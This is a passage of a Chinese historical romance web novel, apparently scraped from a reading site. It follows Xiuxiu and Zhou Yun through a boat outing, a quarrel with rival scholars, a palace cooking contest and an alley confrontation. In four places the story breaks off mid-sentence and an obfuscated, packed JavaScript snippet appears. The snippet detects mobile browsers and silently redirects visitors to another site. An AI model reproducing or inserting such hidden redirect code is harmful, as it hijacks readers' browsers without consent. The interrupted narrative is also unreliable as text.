又不知过了多久，华盖马车缓缓停下，她在惺忪中听见轿外车夫小声说道：“少爷，姑娘，翡翠湖到了。” 翡翠湖坐落在皇京南，是一片清幽之地，湖周竹林环绕，更显清奇，因其湖水青绿如翡，故而得名。正逢天清气朗，阳光透过新绿枝叶倾洒，湖水通透见底，一片波光。 “碧秋姐姐！秀秀姐姐！”叶文珠欢快的嗓音跃动而起。 原来三家马车竟在路上遇见，此时一路同行至此。 秀秀看去，身边同时响起李聿的声音：“不然兄！” 意料之中。她带笑朝文珠走去。 今日秀秀身着妃色竖领长衫，下配一条象牙白暗花云纹裙，明眸皓齿，亭亭玉立，恍然几月，已与年前的模样大相径庭，从头到尾打量一圈，这才注意到她手里的淡粉芍药。 人比花娇。 周允错开眼，随意行礼寒暄，随众人往湖边行去。 周家几个仆从已在湖边候着，引众人上船。 檀木雕花食盒被小厮层层打开，碟中盛着蜜渍蕃柿、杏仁酥等各类茶点吃食，几支莲蓬被摆进盘中，嫩绿色清新可人，小厮又给每人沏了茶，清淡的茉莉香气。 众人落座，三姊妹挨着，周允对着文珠，李聿对着秀秀坐，仆从退去船面，船舱只留五人，霎时空荡，船慢慢地、轻轻地往湖心淌去。 吴碧秋带了一坛桃花酿，置于小风炉上温着。叶文珠解开芍药，嚷着要给两个姐姐簪花。秀秀也拿出自己做的槐花糕，给众人分食一圈，最后才轮到周允，只见他倚靠在窗边悠然自得，没有要接的意思。 秀秀没好气。 四目一触，她坐下，兀自拿起一块槐花糕，小口吃起来。 钊府有棵老槐，这个季节的槐花全是嫩芽，不如盛放之时喷香，却极适合做吃食。小小一块白色，掺着几粒花萼的绿，清香微甜，一船人都赞叹秀秀的手艺，独独一人没吃上。 周允朝对面斜看，若无其事地喊文珠分莲蓬。 面前一整个莲蓬在桌上摇晃不定，他仍一副懒洋洋做派，目视前方，穿过桃腮、粉颈、珠翠、钗环，赏对面的湖光、春色、颤巍巍的芍药，或者别的什么。 剥莲子如同剥松子，讲究一个闲情逸致的趣。从莲蓬里扣出一颗，再剥开柔绿外衣，玉白莲子显露出来，拇指轻掰，揪出中间的绿色苦芯，剩下的放进莹润红唇里，脆生生的果仁在齿间徜徉。 秀秀轻嚼莲子，一刹那神游天外，耳畔文珠的笑语如银铃，她慢慢回过神来，一抬眼，睇见李聿欢乐的神情，转而悄悄侧眸一瞥。 周允察觉到她转瞬即逝的目光，垂眼一定，接着便长臂一伸，到秀秀面前小碟上拿了一块槐花糕。 他的动作里没有丝毫迟疑，一切是那么自然，以至于船舱之中，除了秀秀无人注意到他。 秀秀继续低下头剥莲子，一旁欢声笑语仍在继续，另一旁却十分安静。 这个时节，极鲜嫩的莲蓬，从江南沿着运河来到皇京，不是谁都能吃到。 昨日，吴府也收到一筐莲蓬和一筐嫩藕。都是掌管皇京民营漕帮的张家送来的。 是来年六月她便要嫁过去的张家。 吴碧秋往船面上看去，那人背对船舱，面朝湖水，站得挺直，不知在想什么。 这时，周允蓦地开口，声音清晰可辨，他问：“莲子好吃吗？” 此话一出，众人面面相觑，周允看了一眼秀秀，又问：“文珠，碧秋，莲子好吃吗？” 叶文珠觉得古怪，点点头：“好吃呀。” 周允不作声了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633003|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>吴碧秋提出来：“外头船面上清风徐徐，不似蓬窗之间不透风，叫人好生憋屈，你们坐，我出去瞧瞧。” 众人应着，吴碧秋独自出了船舱，婷婷袅袅走到那人身后，小声一句“杨钦”，那人回过头来，她把几颗剥好的莲子放进他手里。 一阵湖波荡漾，吴碧秋软了脚，杨钦稳稳把人拉进怀里，又紧忙松开，他垂着眼，手里的莲子却是一颗也没掉。 秀秀收回视线，叶文珠却起身，也要去外头看看，秀秀眼疾手快，连忙把人抓住。 叶文珠看过来，秀秀却不知如何开口，一时语塞，迟迟疑疑。 周允又开口了，他问李聿：“这是何物？” 李聿从身后掏出一函套，秀秀认出来了，这是李聿在轿子里看的那话本子。李聿脸色一红，神秘兮兮朝叶文珠招手，二人便去了另一侧的船面之上。 两头都被人占据，哪边也去不得，秀秀抿抿嘴，只得牺牲自己，与周允共处一室，一言不发，她索性侧过身往窗外看去。 不多时，她便回过头来，气闷说道：“不许再偷看我！” 周允闻言双手抱臂，往后一靠，若无其事地问：“你若不看我，又怎知我看你？” 秀秀当即起身，往船头一瞧，言笑晏晏意绵绵，往船尾一瞧，剪不断理还乱。她憋了口气，又坐下。 周允突然间心情大好，他幽幽问道：“莲子好吃吗？” 秀秀不应，又侧过身去，轻轻推窗，开一个缝，湖面上的春风溜进来，船舱里顿时变得通透舒畅，她把窗户开得更大，头发上的芍药也被吹得更颤了。 身后不依不饶，音调平平：“莲藕呢，好吃么？” 秀秀想一头扎进湖里，离他远远的才好。 她回头，惺惺作态，笑得甜美可人：“不好吃，可以称得上难吃。” 牙尖嘴利。 周允点点头：“妹妹嘴刁。” 秀秀脸颊被衣裳映成了妃色，粉里透红。她说：“不许叫我...那二字。” 周允明知故问：“哪二字？嘴刁还不许人说了？” 秀秀咬牙说：“我可不是你妹妹。” 周允话也多起来：“你不喊我哥哥，还不准我喊妹妹么？妹妹未免太过霸道。”说到妹妹，他刻意加重语气，大抵是要时刻提醒自己什么，但在秀秀看来，这是明晃晃的挑衅。 秀秀义正辞严：“你也不是我哥哥，我从来没有哥哥。” 从胡家逃出来快一年，皇京已然是她第二个家了，可想起那些在胡家当“准女儿”的日子，想起要对着大她十六岁的病秧子喊“哥哥”，想起毫厘之差就要葬送一生，她止不住地脊背发凉，心有余悸。 她最厌恶的就是“哥哥”。 周允瞧她脸色不对，忽而英雄气短，声音莫名柔和起来，正色一句：“好，你不愿意，我不喊就是了。” 见她仍闷闷，周允又是长臂一挥，去够她面前的槐花糕。 “嗯？”秀秀一巴掌拍上他手腕，他手在半空顿住，故意喃喃自语，“不仅嘴刁，还小气。” 说罢，他索性把碟子都端了过来。 秀秀瞪他一眼，又端回来。 彼此视线交汇，周允情不自禁地扬起嘴角，秀秀没忍住，偏过头去牢牢咬住嘴唇，笑从眼睛里溢出来。 一来一回之间，此时心情已与方才迥然不同。她端起杯盏饮茶，茉莉花香在唇中漫开。 周允照做，浅呷一口，霎时心旷神怡。 上下天光，一碧万顷，游船款款摇曳，竹林郁郁青葱，湖波柔顺清澈，旖旎动人的好春光呀。 二人难得平和，忽地，一阵清悠歌声从远处传来。 21. 第 21 章 女子歌声清丽悠扬，引得秀秀往外看去。 只见一白衣女子正在另一艘游船的船头唱曲儿，柔软婀娜，弱质纤纤，如同柳枝随风摇摆，船面之上，几位身着锦服儒袍的公子谈笑风生，那船正朝他们驶来。 歌声愈发清晰，又戛然而止，取之以模糊不清的交谈。 原来对面一行人中，有李聿的相识。 周允闭眼假寐，两耳不闻窗外事。秀秀按兵不动，竖起耳朵听外头的动静，谁料片刻过后，船头一阵哄堂大笑，夹杂着些许高昂尖锐的讥讽。 秀秀稍作思忖，起身往外走，却被周允拦住去路。 他不情不愿地睁开眼，勉勉强强地站起来，无可奈何地轻叹一声，把人拉到了身后。 正巧，吴碧秋和杨钦也一齐进了舱，正欲一探究竟。 四人出了船舱，正听见对面船上为首的蓝衫书生用折扇遥指李聿，对同伴高声道：“商贾之家，锱铢必较，满身铜臭，竟也敢来考取功名？莫不是想着银子能买通学政大人？太祖年间，商人可是连读书科考的资格都没有！” 李聿面红耳赤，攥紧了拳头，叶文珠在一旁气得跺脚：“你们休要胡说！” 船上另一位驼背的年青男子，见周允出来，冷笑一声，阴阳怪气喊道：“我当是谁撑腰，原来是周少东家，怎么，今日是要联合金鼎轩把生意做进考棚了？外人前头装不熟，谁知道你们两家背地里有什么见不得人的勾当！”他故作高深，摸了摸下巴，狞笑着问，“莫不是，她钊虹也给你烧纸人续命？” 言罢，对面船上众人又是一阵哄笑。 秀秀顿时横眉，杏眼圆睁，朝对面瞪去，她气冲冲扭头看向周允，只见他波澜不惊，仿佛什么也没听到，心思不知在何处飘荡，好像一切都与他不相干。 怪人。活脱脱的怪人。 旁人都指着鼻子骂你了！ 闻得此言，叶文珠更是柳眉倒竖，再也按捺不住：“蒋文，你家生意比不过周家，净使些腌臜手段，便以为旁人都同你一般下流了？” 秀秀这才认出来，原来此人正是年前与周家结怨的蒋氏之子。理智告诉她，她是钊虹义女，为人处世都要扣着钊虹的帽子，更该谨慎，可在这群伪君子面前，又有何好谨慎的？污蔑了钊虹，诽谤了金鼎轩，她更不可能坐视不理。 她上前一步，将叶文珠和李聿护在身后，目光清亮，直直刺向对面一船人：“各位公子，我弟弟是正正经经读书考试，一不偷二不抢，碍着众人何事？倒是你们，左一个‘商贾’，右一个‘铜臭’，怎么，你们身上的绸衫、头上的玉簪，可有一件不是经商所得？难不成是天上掉下来的？” 秀秀又把身子朝向蒋文，神色严肃，继续开口：“蒋公子，莫非你蒋家开的不是铺子，是善堂？莫说金鼎轩与周家光明磊落，就是有什么也轮不到你来嚼舌，有人心思不正，生意也不中用，便跑去文人堆里伏低做小，端起碗吃饭，放下筷子便骂娘，我看你这书才是读到狗肚子里去了！” 秀秀声音却不卑不亢，语速平稳，字字像刀子，扎得蒋文脸上青了又白。 周允依旧淡定地立在舱门前，眼神在她身上几经流转，最后在秀秀微红的脸蛋上凝定，他的眼底深不可测。 蒋文被当众揭了短，蒋家本就世代为商，到了他这辈，蒋登一心愿儿入仕，只可惜他蒋文不是那块料，只得攀附这群读书人，平日被他们踩一头就罢了，如今被一个不知名的小丫头戳破心思，他顿时恼羞成怒，指着秀秀骂道：“哪里来的泼妇，这般毫无教养！” 李聿又把秀秀拦在身后，朝对面喊道：“蒋文，你知不知廉耻？！如此公然讥讽，搬弄是非，可是圣人所教？” 对面船上，众人只等着看好戏。 叶文珠气极，眼见舷墙上正搁着方才拿出来的一只莲蓬，她想也没抄起来就砸了过去，“咚”的一声，莲蓬正砸在蒋文脚背上。 “好你个丫头片子！”蒋文跳脚大骂，环视一周，手边没有物件可供他还击，正要唤小厮，倏然空中一声鸟鸣，但见一只白鹭悠然掠过，一滩新鲜的、温热的、黏糊的东西，不偏不倚，正落在他刚刚抬起的额头上。 蒋文下意识伸手一摸，触手黏湿，再定睛一看，顿时发出一声哀嚎，他哭丧着脸忙唤小厮：“水！快拿水来！” 小厮忙去端水，蒋文伸手转一圈，引得众人纷纷躲开，对面船上顿时乱成一团。 这边叶文珠已是笑得直不起腰，就连吴碧秋也忍俊不禁，她这才注意到，杨钦不知去了哪。 周允转身进舱，面不改色：“来兴，开船。” 画舫缓缓驶离这片喧嚣，众人回到舱房，身后却突然传来更大的惊呼与慌乱。 只见那艘大船在原地打起转，歪歪扭扭，恰似白衣歌姬的腰肢，船身倾斜，竟有摇摇欲坠之势。 众人疑惑不解，见周允不语，杨钦三言两语解释。 原来方才双方对峙间隙，周允早已与杨钦低语吩咐，在无人注意之时，杨钦已悄无声息地去了对面船上，卡死了船上的平衡舵。 好一个将计就计，声东击西！ 微风送来隔壁船上气急败坏的叫骂，这边众人出了一口恶气，心头畅快不已。秀秀几不可察地瞧了周允一眼，却未曾想，二人恰似心有灵犀，他掀起眼，直勾勾看过来，心安理得。 秀秀忽闪眼睫数下，最后扔过去一个白眼，便偏开了头。等她再把头回正时，船已经靠岸停了。 周允率先起身，众人跟着下船。来兴引路，在一旁道：“小姐在拂云观提早备了素斋，就等各位入席了。” 叶文珠笑道：“还得多亏了表哥差人来办，我可不能抢了功劳。” 秀秀很是忐忑，道观少不了香烟缭绕，正踌躇之际，叶文珠拿出一瓷瓶，瓶中几粒蜜饯。 吴碧秋微笑着开口：“蜜饯用药腌渍过，专防香敏症，却又不似药丸苦涩，吃起来也方便，吃一粒便能维持两个时辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633004|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 秀秀不禁感叹：“碧秋，你真是厉害。” 吴碧秋笑道：“有人特意托我研制了这蜜饯呢！” 言罢，秀秀顺着碧秋的视线看去，但见周允潇洒前行。 吃了蜜饯，再戴上面纱，一切妥当。 一路竹林小径，风声簌簌，入目皆翠色，一行人悠闲踱步，走得轻快，不多时便临近拂云观，周允在观前驻足，等待后面几人。 拂云观虽名“拂云”，却并未居于高山之巅，反而匿于竹林之中，甚为清幽，隔绝世间纷扰，拂去尘世烦恼，倒也称得上“拂云”一名。 正思量间，忽闻破空声骤起！一根青竹棍竟似活了一般，势劲力急，直冲周允面门而来。 几人顿时大骇，方寸大乱。“小心！”杨钦一声叱喝，快步上前，提剑格挡。 周允正欲斜身闪开，只见众人已行至跟前，便纵身一跃，闪避之余，衣袂飞扬，他奋力挥臂，一把抓住竹棍。 此棍来势凶猛，待落入周允手中，仍向前射出几尺，呲呲有声，被杨钦一剑竖劈，顿时分成两段，截断处摇晃，抖个不停。 哐当一声，竹棍落地，众人方才回过神来。来兴机伶伶打着冷战，跑到周允跟前问道：“少爷，您没事吧？！” 掌心轻微痛意，周允低头一看，所幸掌心一片老茧，他毫发无伤。 这时，一位老道从观内疾步而出，此人胡须飘逸，眼睛锐利明亮，其霜发用一根枯枝束起，仙风道骨，可手中却拎着个垂头丧气的小童。 老道面露羞赧之色，抬手便拍在小童屁股上：“顽劣不堪！让你莫要偷练御物之术！” 又转头对周允等人连连躬身：“贫道管教不足，顽童偷学御棍飞行，道行浅薄，飞棍惊扰诸位了。” 叶文珠惊魂甫定，闻言顿时眼睛一亮，她最爱那些仙侠道术的话本子，当即脱口而出：“御剑飞行小女略有耳闻，这御棍飞行倒是头一回听。” 老道无奈解释：“让姑娘见笑了，孩童尚小，无剑可御，只得以棍代之。”说罢，便又拎起小童言道，“还不快快行礼道歉？” 只见这孩子涨红了脸，嘴唇开合却只发出“呜呜”之声，急得双脚乱蹬。 老道朝周允再次作揖：“这孩子被我惯坏，往后贫道必定严加管教！” 周允示意无妨，目光却凝在了老道沟壑纵横的脸上。 风波已定，各自告辞，老道放下仍在扑腾的小童，二人离去，周允忽然横步拦住去路：“道长且慢。” 他盯着那张似曾相识的脸庞，脑中灵光闪现，上前问道：“道长可曾到过皇京城中，为那周家之子留下‘不然’之名？” 老道捋须说：“贫道云游至此，对皇京旧事一概不知。” 周允眼底疑云未散，终究侧身让路。 两拨人背道而行，老道走出十余步后回望，见周允一行已消失在观门之内，他悄然叹了口气，便携着小童隐入竹海之中了。 22. 第 22 章 皇京厨艺大赛三年一届，因国丧三年，故新帝即位后，今年才又由光禄寺牵头举办，名义上是选拔厨行高手，为中秋大典预备筵席。 大赛分官赛和民赛，官赛的参赛者是来自光禄寺、翰林院和各地藩王府的厨师，民赛则是皇京各大酒楼、贩肆推举的厨师，四勺便是代表金鼎轩参赛，当然也少不了五湖四海的高手，以及秀秀这种想去开开眼界的独立参赛者。 皇帝爱民如子，礼贤下士，垂青市井，故民赛不计门第和出身，只凭技艺，若是拔得头筹，也会被选中为皇家大典烹饪，机会可遇不可求，天下的厨师跃跃欲试。 然而，参赛也并非易事。厨艺大赛从太祖时期起，至今规制已甚是成熟。 大赛分初赛，复赛，决赛，最后选出三人进行御赛，由皇帝品鉴后再分出一二三来。 初赛这日，日头升得老高，御街广场上人声鼎沸，里三层外三层挤满了人，中间空出来一片场地，四周拦起围绳，数名侍卫神情肃穆、带刀而立。 空场之中，三十口灶台排成三列，灶火熊熊，锅铲叮当，油烟香气直往鼻子里钻，各种热烈霸道的气味横冲直撞。偶有爆//炒的大厨颠起铁锅，火舌“呼”地窜起半尺高，赢得一片喝彩。 角落里，秀秀守着灶台，额角沁出细汗，她面前的紫砂锅里正咕嘟咕嘟冒泡，药香从盖沿缝隙里飘出，赛场上五味杂陈，秀秀周身反倒恰似一股清流。 “还剩一刻钟！”监考官声音洪亮，敲着锣从她身边经过。 秀秀伸手将煲盖掀开一道缝，眯眼看了看汤色，一股荷叶的清芬之气扑面而来。 她将茯苓、芡实、山药和鲜莲子四味药材填入嫩藕孔中，以鲜荷叶包裹，再以竹箬绳扎紧，加入软骨完整的猪小排，隔水慢炖，取其清气，去其浊质，是为“荷香引药归经”。 时间到，众人菜品被验过毒后一一呈上，“钊柔，荷叶莲藕四神汤。”上菜太监报名，秀秀不自觉捏紧了围裙。 报名人数多，小小初赛便已有很高的标准。先是基本功，主要看刀功，萝卜花，此项目秀秀势在必得，毕竟当初那么些萝卜可不是白吃的。 如此一来，便能筛掉好一些来凑热闹的，人数骤然减半。 接着要考核原创菜式，现场烹饪，再由几位致使老膳正共同评审，判定是否给予复赛资格。 秀秀从未见过这样的场面，心中不免局促，最初，她只求不给师门蒙羞，可后来听四勺说，师父曾经摘得三届民赛桂冠，后来为了给新人机会，便再不参赛，上届魁首是二师兄。 几座大山压在身上，她有了去复赛瞧瞧的心思。 这个时节，北方的荷塘仍一片沉寂，本来她是如何也舍不得拿这些东西去参赛的。可是，不拿出这些，恐怕她毫无胜算。 虽然周允令人烦得很，但说起来，这次还多亏了他送的莲子和藕，甚至荷叶她也没浪费。 平心而论，其实...莲子好吃，莲藕也好吃。 莲子鲜甜不涩，莲藕脆嫩，藕断丝连，就连几根细细的藕带，也十分爽口。 新鲜的食材，荤素搭配，又是最合时令的药材，文火慢炖，能不好喝么？ 四个瓷盅里分别盛着一小截被剔除药材的藕，两颗莲子，一块排骨和汤底。 评审席老膳正从中舀起一勺，只见汤色清澈见底，入口层次分明，药味柔和清爽，回味是荷叶的甘凉。 几位老膳正微微颔首，商讨一番，在纸上写下评语，交由太监。 片刻，但闻一声禀报：“钊柔，荷叶莲藕四神汤，古方新制，不违食理，颇合时令，可入复赛。” 话音刚落，空场外传来一声尖锐又雀跃的声音：“秀秀姐姐，我就知道你可以！” 秀秀接了评语，仔细折好收起来，这才小跑过去。 叶文珠的两个酒窝格外清晰，李聿在一旁跟着乐呵呵，李三一点头悠悠道：“还算没给我丢人”，四勺笑着恭喜。 这一刹那，秀秀恍然有了一种从未有过的感觉，开心或者幸福都不足以形容，而是一种她可以靠自己过上好日子的信心，是一种陌生且微妙的满足和成就感。 活了十七年，她骤然知道了什么叫希望，原来希望是一粒种子，连主人也不知是何时种下的，却会在某天破土而出。 曾经不敢奢求也未曾追寻的东西，竟就这样出现在她面前，在一个阳光灿烂的日子里，枝桠嫩叶朝她招手，茎秆脉络里传来坚定的声音：“秀秀，我会长成参天大树，你也可以成为你最想成为的人。” 种子何以发芽？ 无人知晓。 秀秀只管播种和供养，剩下的，是它的事。 种子不发芽该当如何？ 今天破土而出的并非秀秀的第一颗种子。她在很小的时候便开始播种，她希望全家能吃饱穿暖，后来才知道这是一颗坏种，发不了芽。长大后，她再次播种，她希望能在胡家好过一点，熬啊熬啊，她熬到了成婚，依旧没等到种子发芽。 该如何呢？又能如何呢？ 再换一颗播种吧。 希望的种子，取之不尽，用之不竭，只要秀秀想，她就能把希望种满自己的整个人生，种满大牟的疆土大地。于是秀秀再次播种，竟就这样出其不意地迎来了发芽。 太阳晒得人眯起眼，周身乱糟糟一团，汗珠仍挂在额角，围裙尚未脱下，秀秀就在这半昏半醒中，被推搡至金鼎轩。 人潮人海中，周允望着远去的身影，久久站定。 他身处熙熙攘攘的御街广场上，却如同在溪底泅水屏息。 往日他在水底偷得半日宁静，在濒临窒息时逃过命运的逮捕；今时他在人群中藏匿，厄运依旧寻不到他，心事放肆游荡穿梭，要多大胆有多大胆。 他从眼底射出一剑，不，是一线，剑太锐，他不愿再多刺痛一人。一根线从他眼里伸出来，又把他紧紧缠住，熟悉的窒息感再度袭来，他陷入久违的安全之中。 随后这根线一路游曳，和他的心事赛跑似的，往前追去，最后，线的另一头拴住秀秀发尾。荷叶莲藕四神汤的气味顺着线送了过来，翡翠湖的微风又吹到此处。 时间一点一滴地过去了，线没拴牢，轻飘到地上，最后唯剩一句话在他耳边飘荡回响。 “不好吃，可以称得上难吃。” 深嗅，再深嗅。梦醒人空。 他抬腿往药铺走去，对抓药的小学徒说：“四神汤的药材，有多少我要多少。” 第二日，复赛考核已换了菜式，息心园上上下下却仍洋溢着荷叶莲藕四神汤的气息。 谁也摸不清头脑，少爷究竟是受了什么刺激，必须得用莲藕排骨跟荷叶来煲汤，自己喝还不够，要赏给园子的老老少少，最后索性让周府都喝上这样稀奇的汤。 周允派人给周四海送去一盅，周四海无比欣慰，喝得差点老泪纵横，允儿是个孝顺孩子，他一直都知道。 园子小厨房连煲了五顿四神汤，早中晚得炖，每顿饭间隙也得炖，众人也不知还要再喝多少顿，大家伙盯着这一包一包的药材犯了难。纵是来兴这不挑食、什么都能吃、什么都敢吃的，也举了白旗。 唯独周允慧眼识珠，喝了五顿，发觉这汤当真有奇效，如今他心神俱宁，清醒平静下来。 他心意已决，今日不会再踏入御街广场半步，于是便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633005|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来茶楼小坐。 京中有此等规格的赛事，道诡茶楼亦是热闹非凡。大堂几个茶客正围着说起今日上午的厨艺大赛，声音洪亮。 二楼雅座临窗，正好将大堂的喧嚷尽收耳中，周允独斟自饮，晴日里的山岚色长衫让他少了几分锋利，多了几分澄明俊逸，悠悠之风姿，流泻出一缕云淡风轻。 公子当真这般温润潇洒？不知。路过瞧上几眼，管他心里想什么。 青瓷茶盏在其指间徐徐转动，龙井的清香水汽袅袅升起，周允无视楼下姑娘小姐们的秋波，把心思放在楼下。 “您可没瞧见，四勺那手‘乾坤龙凤丝’正要装盘，另一个厨子假装路过，袖口往灶台这么一拂！”灰衣茶客眉飞色舞，故意拖长音调，“竟把花椒罐扫进了炒锅！那可是花椒面！” 周允垂眸看着茶汤，水面微微晃动，他想起昨日看见的年轻厨子，秀秀喊他师兄，那人应当就是四勺。 “说时迟那时快，四勺铲尖一挑，将沾了花椒面的菜心悉数剔除，反手捞起备用的豆腐，”茶客说得兴起，径直站起来，带出轻微声响，“但见刀光剑影，豆腐切成丝儿，沸水里一焯，嘿！活生生一朵豆腐菊花！最后浇上汁儿，光禄寺卿尝完就一个‘鲜’字！最后不论其菜式偏差，破格晋级！” 满堂喝彩中，话题很快又转到了李厨头身上：“四勺也是个能耐的，李厨头后继有人咯。” “你们可知道李厨头的小徒弟？年前儿认的那个...钊柔？连复赛都没过！”一人双手拍了一巴掌，又连连“啧”了几声。 周允浅呷一口茶。 褐衣男子开口：“要我说，钊柔姑娘虽败犹荣，且不说能进复赛的女子独她一人，就一盅四神汤也够有说头，广济堂那般大的药栈，昨日茯苓、芡实都卖了个精光！” 茶博士正好来续水，笑着接话：“莫说干莲子，东市的药铺今早连山药都买不着了！掌柜的说开铺三十年，头回见四神汤的药材卖空。” 周允指腹摩挲着盏壁，盏中茶叶一旗一枪，起起伏伏，定不下来。 一股隐秘的得意浮上来，转瞬又沉下去。 楼下的声音还在继续：“女子能入李厨头门下已是造化，想必定有过人之处。” 话音将落，紧靠着窗边传来嗤笑：“诸位真当李厨头看中的是天赋？她钊柔还不是得了钊掌柜的济？再说那四神汤，若非用了鲜藕鲜莲来投机取巧，哪能入那群老膳正的眼？估计复赛都进不去！说到底，不过是个丫头，依托着钊虹的纸老虎唷！” “能在这个时节找到鲜藕荷叶，本就是本事。刘大，自家兄弟被金鼎轩赶了出来，又没进复赛，你是嫉妒人家钊姑娘吧。” “呵，我堂堂七尺男儿，嫉妒个丫头片子？可笑！” 周允闻声，不动声色地拎起桌上的紫砂壶来观摩一番。 壶平日在锦盒里装着，只有他过来时，掌柜的才拿出此壶让它见见天光。 宜兴的紫砂泥烧制而成，温润质朴，砂感丰富，出水爽利成柱状，端水利落干脆，是一把难得的好壶。 他起身轻移至窗边，垂眸一瞧，那人倚靠在窗边，一截手臂正搭在窗沿，嘴上仍说个不停。 声音刺耳，吵得很。 “哗啦——” 周允缓缓往下注水，茶叶在壶中疯狂旋转，他斟得快，清亮水声骤时截断聒噪言语。 “嘶！”那人猛地缩回手，勃然大怒，伸出脑袋往上瞧，破口大骂，“哪个不长眼的？” 不料正对上一双幽深的眼眸。那目光好似淬了冰，刘大猛地打了个寒颤，未等看清人，一把饱满贯通的紫砂壶直直砸到他头上，摔了个稀碎。 23. 第 23 章 秀秀虽止步复赛，可四勺却大放异彩，只是不知为何李三一却颇为低落，四勺偷摸说，往他锅里撒胡椒面的不是别人，正是师父昔日最得意的门生，他们的二师兄。 秀秀了然，赛后老老实实回到后厨。谁料李三一摆摆手，下午给俩人放了半日假。 用过午饭，秀秀拎着刚买的针线往府上走着。 当下时节，午后的青石板路被晒得发热，她贴着墙根的阴影走，脚尖轻踢着小石子，低声自言自语：“天地玄黄，宇宙洪荒。日月盈昃，辰宿列张......” “啊！” 一身叫声突兀而起，秀秀脚步一顿，小石子咕噜滚进路边沟渠里。 “什么声音？”她侧耳细听，那声音又没了。 她蹙眉四望。街上人烟稀少，寥寥几个过客，临街茶楼的幌子在风中懒懒摆动。 “许是听错了。”她摇摇头，继续前行。可刚迈出两步，声音又传了出来。这次听得真切，声音从她身后的窄巷中传来。 秀秀捏紧针线包，鬼使神差地蹭到巷口，往里一瞧，不见任何踪迹。 声音再次响起，好似男子的惨叫，还夹杂着拳头到肉的闷响。她循着声往里走，蹑手蹑脚到了茶楼后巷口，脚步慢下来，屏住呼吸，探头往里望去。 但见巷子深处，两个黑衣男子正将一人堵在墙角。二人皆蒙着面，人高马大。墙角那人却是缩成一团，鼻青脸肿，抱头止不住地讨饶，他惊恐万分，挣扎着问来者何人。 一蒙面男子压着嗓子吓唬人：“见了你黑白无常爷爷，还不下跪行礼？本爷爷收你来了！” 另一蒙面男子接着冷笑一声，二话不说就拧了墙角这人的半条胳膊，此人就势歪了半个身子，转了个儿，疼得嘴里直咧咧：“哎呦两位爷爷认错人啦，小的本本分分，不曾招惹过谁呀！” 然而，这话并不能让二人手下留情，又是一顿拳打脚踢，墙角男子抱头鼠窜，瑟瑟发抖，衣裳破了，浑身都挂了彩。 秀秀心中咯噔一下，第一个念头就是赶紧去报官！可转念一想，这些地痞流氓最是难缠，若是被他们记恨上......她攥紧了针线包，脚下有些发软，正犹豫着该如何是好。 就在这时，一个身着青绿色长衫的身影从她的视线盲区中不紧不慢地踱了出来，方才她竟没发现，还有一人置身事外，冷眼旁观。 青衫男子瞧瞧脚边小人，并未接着开口。 地上之人哆嗦着抬头，刚一动弹，又被一蒙面男子踢了一脚，他一下子摔倒在地，挣扎着爬起来，只得重新抱着头，又哭嚷起来。可每哭喊一声，迎来的却是劲道更足的一脚。 秀秀的心跟着砰砰跳，心底两个声音在打架。 “走罢！” “他被打死怎么办？” “你还能救他不成？” 她心如擂鼓，墙角那人却认命般安静下来。 只见青衣男子缓缓开口，语气平淡无波，却自带一股子渗人的凛然之威：“你们兄弟俩——” 这声音！ 周允？！ 秀秀如遭雷击，眼睛瞬间瞪得溜圆，下意识一声惊呼，她连忙捂住嘴。 一阵惊呼猝然中止，巷子里的人被她的动静惊动，几道目光齐刷刷地看过来。周允微微侧头，视线掠过巷口，他一瞬愣怔，眼中稍露讶异。 秀秀像只受惊的兔子，转身就跑，针线包掉了也顾不上捡，她惴惴不宁，拼命撒开腿往御街上跑去。 周允却是在原地愣了好半晌，脸上变了色。 刘大趁机发足欲跑，被阿定一只脚又蹬回原地，“老实点！”，阿定斥道。 周允闻声终于回过神来，脸上肌肉牵动几下，不露声色地缓了过来，眉眼之间又恢复了惯常的模样，他星眸半张，冷飕飕地朝刘大开口：“回去转告你兄弟，你二人若是再敢对钊柔打一分一毫的坏主意，莫怪拳脚刀剑不长眼。流血事小，怕得是血流不止。” 他说得毅然决然，却不带任何情绪，语气平平，反倒令人毛骨悚然。 言毕，刘大牙齿相击，发出答答声响。 定胜兄弟站在原地，正感为难之际，但闻周允苦笑一声，神色黯然地走了，行至巷口，他停了下来。 地上一个针线包静静躺在那里，被人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 